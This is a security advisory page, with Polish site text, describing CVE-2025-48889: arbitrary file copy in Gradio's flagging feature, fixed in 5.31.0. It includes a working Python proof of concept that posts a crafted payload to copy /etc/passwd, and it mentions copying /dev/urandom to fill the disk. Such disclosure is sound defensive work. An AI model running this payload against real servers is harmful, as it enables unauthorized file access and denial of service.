Średnia

Gradio Allows Unauthorized File Copy via Path Manipulation

  • Ujawniono: 29.05.2025
  • Aktualizacja: 11.10.2026 12:19

An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.

Description

The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.

Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method

The vulnerable code flow:

  1. A JSON payload is sent to the /gradio_api/run/predict endpoint
  2. The path field within FileData object can reference any file on the system
  3. When processing this request, the Component.flag() method creates a GradioDataModel object
  4. The FileData._copy_to_dir() method uses this path without proper validation:
python
def _copy_to_dir(self, dir: str) -> FileData:
    pathlib.Path(dir).mkdir(exist_ok=True)
    new_obj = dict(self)

    if not self.path:
        raise ValueError("Source file path is not set")
    new_name = shutil.copy(self.path, dir)  # vulnerable sink
    new_obj["path"] = new_name
    return self.__class__(**new_obj)
  1. The lack of validation allows copying any file the Gradio process can read

PoC

The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:

Setup a Gradio app:

python
import gradio as gr

def image_classifier(inp):
    return {'cat': 0.2, 'dog': 0.8}

test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")

test.launch(share=True)

Run the PoC:

python
import requests

url = "https://[your-gradio-app-url]/gradio_api/run/predict"  
headers = {
    "Content-Type": "application/json",  
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" 
}

payload = {
    "data": [
        {
            "path": "/etc/passwd",  
            "url": "[your-gradio-app-url]",
            "orig_name": "network_config", 
            "size": 5000,  
            "mime_type": "text/plain", 
            "meta": {
                "_type": "gradio.FileData"  
            }
        },
        {}  
    ],
    "event_data": None,
    "fn_index": 4, 
    "trigger_id": 11, 
    "session_hash": "test123"  
}

response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) gradio < 5.31.0 5.31.0

Odnośniki

Ocena CVSS 5.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Słabość (CWE)
CWE-434
Platforma
Python (PyPI)
Paczka
gradio
Ujawniono
29.05.2025
Aktualizacja
11.10.2026 12:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2025-119 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-8jw3-6x8j-v96g - CC BY 4.0

Historia podatności: gradio

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (51) w archiwum
Wszystkich wpisów
51
Pierwsza → ostatnia
12.2021 07.2026
Bez poprawki
13
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 5
  • Wysoka 19
  • Średnia 22
  • Niska 5

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 1
  3. 2023: 5
  4. 2024: 28
  5. 2025: 9
  6. 2026: 7
Istotność:
  1. Gradio Allows Unauthorized File Copy via Path Manipulation ten wpis
    Średnia · 5.3 CVE-2025-48889 < 5.31.0 5.31.0
  2. Wysoka · 7.5 CVE-2024-8966 <= 5.22.0 brak poprawki
  3. Wysoka · 7.5 CVE-2024-10624 >= 4.38.0, <= 5.0.0-beta.2 brak poprawki
  4. Wysoka · 8.2 CVE-2024-10648 >= 4.0.0, <= 5.0.0b2 brak poprawki
  5. Wysoka · 7.5 CVE-2024-10569 >= 4.0.0, <= 5.0.0b2 brak poprawki
  6. Krytyczna CVE-2025-23042 < 5.11.0 5.11.0
  7. Wysoka · 7.5 CVE-2024-47867 < 5.0.0 5.0.0
  8. Wysoka · 8.1 CVE-2024-1728 < 4.19.2 4.19.2
  9. Wysoka · 8.6 CVE-2024-4325 <= 4.36.0 brak poprawki
  10. Wysoka · 7.5 CVE-2024-34510 < 4.20.0 4.20.0
  11. Wysoka · 7.5 CVE-2024-1561 < 4.13.0 4.13.0
  12. Wysoka · 7.3 CVE-2024-2206 < 4.18.0 4.18.0
Pokaż więcej (5) Widać 20 z 25

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.